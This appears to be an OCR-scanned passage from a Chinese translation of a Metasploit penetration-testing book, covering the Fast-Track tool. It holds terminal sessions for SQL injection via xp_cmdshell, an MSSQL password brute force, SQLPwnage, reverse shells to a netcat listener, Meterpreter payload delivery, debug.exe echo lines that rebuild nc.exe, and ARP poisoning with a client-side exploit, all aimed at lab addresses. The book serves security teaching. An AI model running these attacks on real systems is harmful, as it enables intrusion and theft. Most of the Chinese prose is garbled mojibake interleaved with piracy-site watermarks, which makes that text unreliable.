W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

H10E HZTEFIRE

HF FHIA /set-web Bl e] . SET /9 Web EIJE 510 & i1 Python 3£, M B & —FIEH @RI
A T . RERBEMEAEEAREN LT —MRERELRE (AP), —HHEBEENU
i Z R, B AR P O AT S S M B MG EALLE, BERAEM T UEHSENE
KL SET _LAF#ERIZ A (Filin Java Applet e B & i P BUR (5 B 5%,

10.7 /&

& Metasploit —#¥, SET H{MATE# —FREY . LK ELINA T SET BIEH R
—HmREE ST, RN SRR SET ThHREM AR RE, LR IAE R EMRR. M, #4
TREFREA B ES, BT UAROZIMER E 20 4RI T L B S TR 2B ER A
.

WA, RPN TR T2 R H &M R FRE R T R, BAIRMNE =20 R
FIHER 4. R, AR BTl A R O sl F 4T i%, BREEikxt 7 FRIFT I
ST AR R R I . A TRRPBGE R ERITRSEE, M — M FRSEH iE, &
Bt T B A HF A R TR AR R LS AORHTR 0. — M E2RMBEGELE
JURBSRIKBHFE B AREHLR, EiL7E facebook B twitter FERFMAMGER, HEmEER
ATCAT 5| B AR P A B R il , XA RS TRZ AT R EENAEE T

Mg SET Z KM TR HH ML EEHHM, EEREN -NElkthzBliks, KT
M, REBCRAE DB FRIH MRS W E A SR AEE . SET nT LA Bh R H 4%,
HRERZ, WRRKMT, REATREHTRECHZ EBHEIFGES.
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

% ow

Fast-Track

Fast-Track #&— A% F Python MIFFE TR, LMT —EFEBMHRBBIRHHE R,
Fast-Track ff /| Metasploit HEZESR #EAT BUe B AT A0AEA, tR AT DU T 25 7 35 1) £ K S V8 38
i, BkZAh, EESn T — LBtk X Metasploit 4T 478, f¥E Microsoft SQL ik, &
LB FE B ER K A Bh 4k 3 W 28 Wi . Fast-Track Fi Dave Kennedy £l & , Andrew Weidenhamer .
John Melvin F Scott White X Fast-Track 78 Bi#k, H & Fast-Track £ Joey Furr (jOfer)itfT 4
FRIEH .

Fast-Track Rt T BEHEAHPPERED. BEHEALEE, W0 TFiE1T fast-track.py —i
C5{E SET M B0, @itk HFARKEIAFS], /ReTCl B Hbid BEBGHER, 5%
HR, FEHREBELS (PRt LU Aast-track.py -g fr& I IEAEH Web S
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;& & Rit 15/

oot@bt4:/pentest/exploits/fasttrack# ./fast-track.py -i

Sk R KR KRR R o R KR S o R KRR R o R R o R

*kxxxx* Performing dependency checks... **¥¥¥*%
ok R R A R R KR R R R K R R K Rk ok kR K ok Kok koK

*** FreeTDS and PYMMSQL are installed. (Check) ***
**% pExpect is installed. (Check) ***

*** ClientForm is installed. (Check) ***

*** psyco is installed. (Check) ***

*** Beautiful Soup is installed. (Check) ***

**% PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!
Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (Rel1kK)

1. Fast-Track Updates

2. Autopwn Automation

3. Microsoft SQL Tools

4. Mass Client-Side Attack
5. Exploits

6. Binary to Hex Payload Converter
7. Payload Generator

8. Fast-Track Tutorials

9. Fast-Track Changelog
10. Fast-Track Credits

11. Exit

Enter the number:

PRATLLFE B Fast-Track 308 EIREBRIHAT - KM Bt ) B S5 D fedetE. EAFED, R
MREFLPRLMERBITNH. BRITBERER - LBREFRAMHETS, EANME Microsoft SQL
Wit FEEPH Autopwn ZEIH N f&j 4k T Metasploit ff] Autopwn ThEE—R H FHER A A B
¥5 1P dubk, TR TAEER h Fast-Track BR5EMR T » BB P EAE T —E Metasploit H ¥
HHBS L

11.1 Microsoft SQL ;A

SQLAAKH: (SQL) 3@ it Web R IR i R 42 & AR i A2 4E ORI, 7ESQLIE A
MAEBIRSREYE . — &£ EMERSQLAHIIE ) W LUl Web/R 5 3 A B)E & HdR =
T, HEBIRED AT 2 . Fast-Track ] LA H 3 b SERX — i3 7%, DISEBRAZESQLE AT i,
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F11E Fast-Track

T 376 B A 5 Web Y FHFE O Y #3840 LA R POSTZ B . F I AHI 8L AT B Gh#E BE
i B AR R S AEESQLYE AN, Rl thAniEE A SRS B AT &4 . XK HAE
P T 423 A MS SQLARS: I Web R 4t -

11.1.1 SQL FA—FEfBERNE
M3 % Microsoft SQL Tools TG #E B ¥, 2 J5E# MSSQL Injector®, U+ By

il

Pick a list of the tools from below:

© 1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 1

B ET RS SQL A A B EWE TR, X — 5 S0l 5 AT A 8 KX B &
2% Ef URL . URL Tl H A EFETEMNITEBMN— L2158, Fast-Track HEL7EE#E
WS ¥R I INJECTHERE, SiRSIHEN S, W FHR:

http://waww.secmaniac.com/index.asp?id="INJECTHERE&date=2011

*4 Fast-Track FFRABUHIRIFNT, A BRI id FRABRFIH 7B, BIREWNFBOTLL
B RBEATH . i BATE AT AN IORE Bk B AT AT B9

Enter which SQL Injector you want to use

O 1. SOL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SOL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 1
. SNIP . . .

Enter the URL of the susceptible site, remember to put "INJECTHERE for the
injectable parameter

Example:http://www.thisisafakesite.com/blah.aspx?id="INJECTHERE&password=blah

® Enter here: http://www.secmaniac.com/index.asp?id="'INJECTHERE&date=2011
Sending initial request to enable xp_cmdshell if disabled...
Sending first portion of payload (1/4)...
Sending second portion of payload (2/4)...
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% R iX 155

Running cleanup before executing the payload...

Running the payload on the server...Sending initial request to enable
xp_cmdshell if disabled...

Sending first portion of payload (1/4)...

Sending second portion of payload (2/4)...

Sending third portion of payload (3/4)...

Sending the last portion of the payload (4/4)...

Running cleanup before executing the payload...

Running the payload on the server...

listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10,211,55.128] 1041
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

B! AT BARARS, B EREEREE SQL EASERM. ERME Web M
A A T 5040 R SQL B BB E ARG FR A0S, AT BEE AT HE IR E,
TR ST E IR D, AR REFET SQL Injector - Query String Parameter
Attack® )5, ¥R} FAST-TRACK $#2{t— SQL LA @, Wik xp_cmdshell /AL FEDfESR
A%, Fast-Track ¥f B Zh#GEX M5, [FIEZ2E% MS SQL #EATHFRUEE T

11.1.2 SQL ;FA—POST S5

Fast-Track [f] POST S¥ ik b gk /T RIS WiE QB EMAIRET D XX NBk
Feidt, PRV 7B AR I ™ T URL #i A3 Fast-Track ', Fast-Track ¥ < HahiRAHE
BT H

Enter which SQL Injector you want to use

SQL Injector - Query String Parameter Attack

SQL Injector - POST Parameter Attack

SQL Injector - GET FTP Payload Attack

. SQL Injector - GET Manual Setup Binary Payload Attack

T
)

Enter your choice: 2

This portion allows you to attack all forms on a specific website without having to specify
each parameter. Just type the URL in, and Fast-Track will auto SQL inject to each parameter
looking for both error based injection as well as blind based SQL injection. Simply type
the website you want to attack, and let it roll.

Example: http://www.sqlinjectablesite.com/index.aspx

Enter the URL to attack: http://www.secmaniac.com

Forms detected...attacking the parameters in hopes of exploiting SQL Injection..
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F11E Fast-Track

Sending payload to parameter: txtlLogin

Sending payload to parameter: txtPassword

[-] The PAYLOAD is being delivered. This can take up to two minutes. [-]
listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Versiom 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

IEWRBTE BIH, Fast-Track EIZhFNT POST &S5, HIEAT K2, @il SQL
NS T Hix BN,

1B7R: IRTT AL FTP AR L E 8T, 122 FTP M A2 A AL M 45 15 38— AR 234
kg,

113 FIEAN
WRVRA 53— 1P FIORIEWT [ 5% shell, BGF 0R T XN BHEAT (0 Ak ol USRI F 10

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SOL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
0O 4. SOL Injector - GET Manual Setup Binary Payload Attack
Enter your choice: 4
The manual portion allows you to customize your attack for whatever reason.

You will need to designate where in the URL the SQL Injection is by using
"INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:
http://ww.thisisafakesite.com/blah.aspx?id="INJECTHERE&password=blah

Enter the URL of the susceptible site, remember to put 'INJECTHERE for the
injectible parameter

Example: http://www.thisisafakesite.com/blah.aspx?id="INJECTHERE&password=blah
® Enter here: http://www.secmaniac.com/index.asp?id="'INJECTHERE&date=2010

© Enter the IP Address of server with NetCat Listening: 10.211.55.130
© Enter Port number with NetCat listening: 9090

167

24 W WwW. 176K u.CoM



ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

o

Metasploit i iE R IER

Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload....

Sending second portion of payload....

Sending next portion of payload...

Sending the last portion of the payload...

Running cleanup...

Running the payload on the server...

listening on [any] 9090 ...

10.211.55.128: inverse host lookup failed: Unknown server error : Connection
timed out

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1045
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

W, AT OEAETO, K, FHAEIEAKS IS, 2 Fast-Track $5 [ 7£7E SQL
EAMRIFEAO, FRHAKNY (POMEE LISV OO, A5 8% Fast-Track SREH
.

11.1.4 MS SQL mgf#

Fast-Track  EX i #IThBE VT AR B4 2 MSSQL BiMRIhEE T (FE Microsoft SQL X T A #
BT ED. M EFRLHE T MS SQL R4, MSSQL MM IIfEx Windows IAUE. SQL IAiE,
RE RGNS AEEH

TBAAE A7 XAV A P BB 8L Windows TAUEF MS SQL R4 #8ALE. 41 5R MS SQL %35
R T EAARASAEERE SQL AMEHRR, BALKEFHEREATERE 1 MS
SQL ) sa HI /IS (BI MS SQL ¥R ERGEH ). MEWHNT, FHEAXEFEFHOS.
FOLHESTRHMOOL, IEEHTGEHFRASHEIEOS. NE sa K D045 RHBM
fi5, BB EERY RAEILE xp_cmdshell RIBFEEN REE.

Fast-Track 1 Fl JLFH A7 R BB K BL MS SQL AR%-%3%, H4%{E M nmap X MS SQL BRiAI
TCP 1433 ¥ Q4T RMWR AR EHEH MS SQL Server 2005 BLZ G KIRAS, XA
KT shA O RS, XA TS RRAIRERE . (R Fast-Track W LI H$ 5 Metasploit 22 &,
it UDP 1434 35 11 #rk th MS SQL R 81217 HIZh &R .

— B Fast-Track R50H iR % 5% O RINBEHE sa K/ 04, Fast-Track 1 FH & &K
binary-to-hex F# 7 EHK BN - ANBEHBHET. XABEEMRIIEM SR, FHEMS SQL T E
GNP TS -
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b

T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

%

¥ 1M ¥E Fast-Track

Microsoft SQL Attack Tools
Pick a list of the tools from below:

1, MSSOL Injector
2. MSSQOL Bruter
3. SQLPwnage

Enter your choice : 2
Enter the IP Address and Port Number to Attack.

Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SQL Ports (SQL Ping)
(i) want a command prompt and know which system is vulnerable
{v)ulnerable system, I want to add a local admin on the box...
(e}nable xp cmdshell if its disabled (sgl2zk and sgl2ks)

FEIRA1%HE T MSSQL Bruter JEX 5, Fast-Track A FA1FIH T 7T LU RERAE Y & Fh B

. ANRFIHBEGESHGRPMER ST, EEEREREGRERR - BsfEBLT. AL,
PRETR T R NET & LR B REEN.

Fast-Track F 1 F JLANBUL BhRELE I .

e 2if SQL Ping Fl H ZhHRE 5 I AR ThAEE TR Ak 2R — B 1P bk, 8Bk
F1 nmap —#E, REFH AN EESFOLER 50 MH N D207 AT RETR
TE IR IR

o BRI T LB AR ThREE DUAVFURF R — BLUIP Mk, A VRIR B E e L H A F 8
Fast-Track B T — M EEEDNEM QL FRIXH, FF6ETE bin/dict/wordlist.txt

® - HIRIREEII A VYRR —A [P HuhbAE F R O &5 AT R AR .

® 7 SQL ¥HM (SQL Ping) LhEEEINNAUZ N T F Kk SQL MR4FAHuAL, MASTEIX
ik 55 2% -

o Rt 1T shell THAEET: WRMTELIKI T sa N4, HINERET LD VRIRHE— A
44T shell.

® Vulnerable system (fF & RIFAK RS HREET: 7F—MREMFEA R RS B#Mm
—ANFTHE R R K .

® 5] xp cmdshell ZHAEIETN: xp_cmdshell & —/ Fast-Track HiREITRKEZREREH L
BT BAEAEFRE . BAEE T, 7 SQL Server 2005 Al G MILA T, ZIhRER¥EEEH
B, {BJE Fast-Track 7] LA H zh 8 FiZIMh6E. Fast-Track 7E4# AR B BEE M B T
AR, WMPERETXMNEM, #2308,
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit % it & B8

Y] LU LA % B e TR S I Bk 22 A B0 b B AR 0L, 5 1 B A gl A2 ) Bt 8 i
FRIETH, BEREBE AR K. BRATEEIDLER e AR A RN AN O
A, REIERE S MS SQL ¥iE FE R #14 .

Enter the IP Address and Port Number to Attack.

© Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictiomary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SOL Ports (SOL Ping)
(i) want a command prompt and know which system is vulnerable
(v)ulnerable system, I want to add a local admin on the box...
(e)}nable xp_cmdshell if its disabled (sql2k and sql2ks5)

Enter Option: a
® Enter username for SQL database (example:sa): sa
Configuration file not detected, running default path.
Recommend running setup.py install to configure Fast-Track.
Setting default directory...

© Enter the IP Range to scan for SQL Scan (example 192.168.1,1-255):
10,211.55.1/24

Do you want to perform advanced SQL server identification on non-standard SQL
ports? This will use UDP footprinting in order to determine where the SQL
servers are at. This could take quite a long time.

© Do you want to perform advanced identification, yes or no: yes
[-] Launching SQL Ping, this may take a while to footprint.... [-]

[*] Please wait while we load the module tree...
Brute forcing username: sa
[*] Please wait while we load the module tree...
Brute forcing username: sa

Be patient this could take awhile...

Brute forcing password of password2 on IP 10.211.55.128:1433
Brute forcing password of on IP 10.211.55.128:1433
Brute forcing password of password on IP 10.211.55.128:1433

SQL Server Compromised: "sa" with password of: "password” on IP
10.211,55.128:1433

Brute forcing password of sqlserver on IP 10.211.55.128:1433
Brute forcing password of sql on IP 10.211.55.128:1433

Brute forcing password of passwordi on IP 10.211.55.128:1433
Brute forcing password of passwordi23 on IP 10.211.55.128:1433
Brute forcing password of complexpassword on IP 10.211.55.128:1433
Brute forcing password of database on IP 10.211.55.128:1433
Brute forcing password of server on IP 10.211.55.128:1433

Brute forcing password of changeme on IP 10.211.55.128:1433
Brute forcing password of change on IP 10.211.55.128:1433

Brute forcing password of sqlserver2000 on IP 10.211.55.128:1433
Brute forcing password of sqlserver2005 on IP 10.211.55.128:1433
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

11 Fast-Track

Brute forcing password of Sqlserver on IP 10.211.55.128:1433
Brute forcing password of SqlServer on IP 10.211.55.128:1433
Brute forcing password of Passwordl on IP 10.211.55.128:1433

« « « SNIP . ..

T T TS PR S PP e R

The following SQL Servers were compromised:
s e s o e e e e ool ol sl e o el o e e R e R IR R e R R R

1. 10.211.55.128:1433 *** U/N: sa P/W: password ***

s s o o ol ke S S 3 o o o o o e R e o oo o o o o e ook o ok Rk K ok

To interact with system, enter the SQL Server number,
Example: 1. 192.168.1.32 you would type 1

Enter the number:

FEEFE T 25 SQL Ping M1 H RS MO /E, K E 258 SR IRMA SQL ¥l
FERIH P40, FTRMAREELDMEN P GHO, EHETHRZMRSJ AR, Y
PR, ERAFEFEAK.

BT R 45 R EoR Fast-Track RN T — 4R sa ®A4 password IR A
Flo FERXMEFILT, RTLLERE MR, RERBEXNRYE, WFHR:

Enter number here: 1

Enabling: XP_Cmdshell,..
Finished trying to re-enable xp cmdshell stored procedure if disabled.

Configuration file not detected, running default path.
Recommend running setup.py install to configure Fast-Track.
Setting default directory...

What port do you want the payload to connect to you on: 4444
Metasploit Reverse Meterpreter Upload Detected..

Launching Meterpreter Handler.

Creating Metasploit Reverse Meterpreter Payload..

Sending payload: c88f3f9acabbeste66dais7e0fobefd48dadb
Sending payload: ac8cbc47714aaeed2672d69e251cee3dfbad
Metasploit payload delivered..

Converting our payload to binary, this may take a few...
Cleaning up...

Launching payload, this could take up to a minute...

When finished, close the metasploit handler window to return to other
compromised SQL Servers.

[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&iE ik &R

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (10.211.55.130:4444 -> 10.211.55.128:1030)

meterpreter >

LA R Meterpreter Blidi T, REUFETT LASERFHINFRRAT .

11.1.5 ifiid SQL Bah3kGES (SQLPwnage)

SQLPwnage j&—Fi AR 2R BE R A 30, ATLLEF*S Web B FH 2 AR R A 4 AR A 3t
di ) MS SQL ENRIA, IKEUZHIA . SQLPwnage a] LAFIHI—A Web ik 55-2% M BX ) 80 3w 11,
P 0 2 T e, ISR IR, 228 POST ¥R A SQL HEA AL ECFFEKHE IR
HANEE, FNHEESEREET. B xp_cmdshell B, UKL Windows it
64KB PRSI ATHES, BE R rAs B i 84T B B H AR R . FFORRC B %I A,
YR % #F Fast-Track 3% L7 Microsoft SQL Tools, 2 J5i%+# SQLPwnage (i&J 2),
T PR

SQLPwnagg Main Menu:

1. SOL Injection Search/Exploit by Binary Payload Injection (BLIND)
0 2. SOL Injection Search/Exploit by Binary Payload Injection (ERROR BASED)
3. SQL Injection single URL exploitation
Enter your choice: 2
. SNIP . .
Scan a subnet or spider single URL?
1. url
® 2. subnet (new)
3. subnet (lists last scan)

Enter the Number: 2

Enter the ip range, example 192.168.1.1-254: 10.211.55.1-254
Scanning Complete!!! Select a website to spider or spider all??

1. Single Website
© 2. All Websites
Enter the Number: 2

Attempting to Spider: http://10.211.55.128
Crawling http://10.211.55.128 (Max Depth: 100000)

DONE
Found 0 links, following 0 urls in 0+0:0:0
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DT A T TR A

TG TS HAEF E W (WWW.17THUAN.COM) K& IR G %k it s (BBS.176ku.COM) fLEH AT E—A&r.

¥ 11 E Fast-Track

Spidering is complete.

ootk o ok o K o S KK R AR R S K KR KSR KKK 3 o o SRR SRS

http://10,211,55.128

AR AR A oo o o A RO A R RS o K K MR KR S o R A R Rk o o o o s

[+] Number of forms detected: 2 [+]

O A SQL Exception has been encountered in the "txtlogin" input field of the
above website.

PRI P32 B AR AT SQL EAN AR SE4 R 5 B, IR BB R AR E 3 P2k 553 A
IR T BANESE THIRIEAO, B M FIERAT SQL A #MIRMELS H T 425 8.

ZJa, EFHZU ANURLIEHAOHTNTCH, REQHENSTFHNMRe, Fafis
FRMEBZ G, BAVEFED HiFast-Track RBLE BT M35 @©, #RefLIZE LEE S, EE#ERN
KRT =M d EREAERYO.

o Ja B BAR B AE A R B Ay, & FEMBI T+, RAT%ESFE Metasploit Meterpreter
Reflective Reverse TCP (TCP [z 33 Meterpreter Zi#i#) ©, [FAT MR8 =B oL
)% 1@, f£ Fast-Track i SQL WARMBERINE, MBEERFHBERGO, B
Meterpreter shell # 5 0 HH IRAEAVRT AT @

what type of payload do you want?

Custom Packed Fast-Track Reverse Payload (AV Safe)
Metasploit Reverse VNC Inject (Requires Metasploit)
Metasploit Meterpreter Payload (Requires Metasploit)
Metasploit TCP Bind Shell (Requires Metasploit)
Metasploit Meterpreter Reflective Reverse TCP

. Metasploit Reflective Reverse VNC

[= YNV, T SO EVI NS
“« % = H

Select your choice: 5

Enter the port you want to listen on: 9090

[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]

[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: 'xp_cmdhshell' if disabled. [+]
[+] Delivery Complete. [+]

Created by msfpayload (http://www.metasploit.com).

Payload: windows/patchupmeterpreter/reverse tcp

Length: 310

Options: LHOST=10.211.55.130,LPORT=9090

Launching MSFCLI Meterpreter Handler

Creating Metasploit Reverse Meterpreter Payload..

Taking raw binary and converting to hex.

Raw binary converted to straight hex.

© [+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]

eQ
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i£:1EiX15 A
. . . SNIP . ..

Running cleanup before launching the payload....
[+] Launching the PAYLOAD!! This may take up to two or three minutes, [+]
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (718347 bytes)...
{*] Upload completed.
® [*] Meterpreter session 1 opened (10.211.55.130:9090 -> 10.211.55.128:1031)

meterpreter >

11.2 TSI+ bR iR

MRREREN AR R AN, RAELL B RGE R NBFRAT — AR, 3RS 3
st B AEH A M T . 7 Fast-Track ¥5&E — A —HEHISCHE, BN — A
PR, ERIRAT LR EHD] B AR RERS R . T HE- T NERI SO R 8] R A T AT
SO, EFEEIN 6, FIHTW FEEO:

@ Enter the number: 6
Binary to Hex Generator wo.1

- . SNIP . .

® Enter the path to the file you want to convert to hex: /pentest/exploits/
fasttrack/nc.exe

Finished...
Opening text editor...

// Output will look like this

® DEL T 1>NUL 2>NUL

echo EDS:0 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00>>T

echo EDS:lO B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00>>T
echo FDS:20 L 10 003>T

echo £05:30 00 00 00 00 00 00 00 00 Q0 OC 00 00 80 00 0O 00>>T
echo EDS:40 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C (D 21 54 68>>T
echo EDS:50 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6F 6E 6F»>>T
echo EDS:60 74 20 62 65 20 72 75 6E 20 69 6FE 20 44 4F 53 203>T
echo EDS:70 6D 6F 64 65 2E OD OD OA 24 00 00 00 00 OO 0O 003>T

R T R B NI AR 2 )5, TE Fast-Track 3 5E RASE R 1) — 21304,
RIGERF AR MR A @  F A SERLE , Ha] LA B R 4 HH Y S0 A RG] B Br @ RZEH) shell
FEPAT, HREEBRRGE AN MR A S SR A
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

# 11 E Fast-Track

1.3 AMREPimIdE

KIAEZE PR B 50 28 B B b BUh Th AN, SR, MU P am Bl T 84 RY
BB, VTLASERY H AR ENLE R SEE ARP 247 K3k A1 DNS #t8%20di, BAK £ Metasploit
AL A BB R S E T .

MR EREBIVRE Web RSB, Fast-Track ¥R 518 A MLEL I Metasploit HEAE A B4 1)
Bk ] AT B R B AR AR N E AT AR IS 2 i, Mol A H
PR EHUIZE 242 B

© Enter the number: a

« « « SNIP . . .

® Enter the IP Address you want the web server to listen on: 10.211.55.130
Specify your payload:

Windows Meterpreter Reverse Meterpreter

Generic Bind Shell

Windows VNC Inject Reverse TCP (aka "Da Gui")
Reverse TCP Shell

o e
T e s .

® Enter the number of the payload you want: 1

MEF %P 4——Mass Client-Side Attack /i®, 577 Fast-Track Web R4 35 (K107 1P
Hit®, ZEEFE-TBLEEAO.

BTk, %A TMH Ettercap X B 45 EHLiHIT ARP K35, Ettercap #H-S# M HF ¥
PLRIFT AR, IR EREE [ BRAE R IR ST 88 L. 7EfE R Ettercap 2)50, i
AARFRE I I 1 H 45 EAL IP #hiik®, Fast-Track ¥ & H 3h # R % & 4F Ettercap® .

@ Would you like to use Ettercap to ARP poison a host yes or no: yes

. SNIP . ..

® What IP Address do you want to poison: 10.211.55.128
Setting up the ettercap filters....
Filter created...
Compiling Ettercap filter...

. SNIP .
® Filter compiled...Running Ettercap and poisoning target...

— HE PV RS E R S728, Metasploit Sl JF 86Xt B b RE R BB 1@ 7E38 TR
FlFerh, YRATLLEE] Adobe BIEM T L INSEHE, A > Meterpreter shell IE7E[EIE®.

175

24 W WwW. 176K u.CoM



RIEF DL QA7 AEBAT bR R HR b

ST RSP HEBORMU A2 ) 2 ], ARAT AN AN 2 A 88 AT A48, 17 IR 25 AT 1) SE AR A R B AT DR AS i 8 20 BB

JRiN =g =
TH IR T

BRI AN Z AL, HOE S, BAGSLR T LI T IE R AE, SRR

W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

Metasploit ;&i%E A 15

BiR: EEA S E PR TAEA ARP 4 A6k, (2 2 KM AL B AR TR —
ANZATRH AT R T E, A RBRIFASD.

[*] Local IP: http://10.211.55.130:8071/

[*] Server started.

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:8072/

[*] Local IP: http://10.211.55.130:8072/

[*] Server started.

msf exploit(zenturiprogramchecker unsafe) »
[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler
[*] Using URL: http://0.0.0,0:8073/

[*] Local IP: http://10.211.55.130:8073/

[*] Server started.

© [*] Sending Adobe Collab.getIcon() Buffer Overflow to 10.211.55.128:1044...
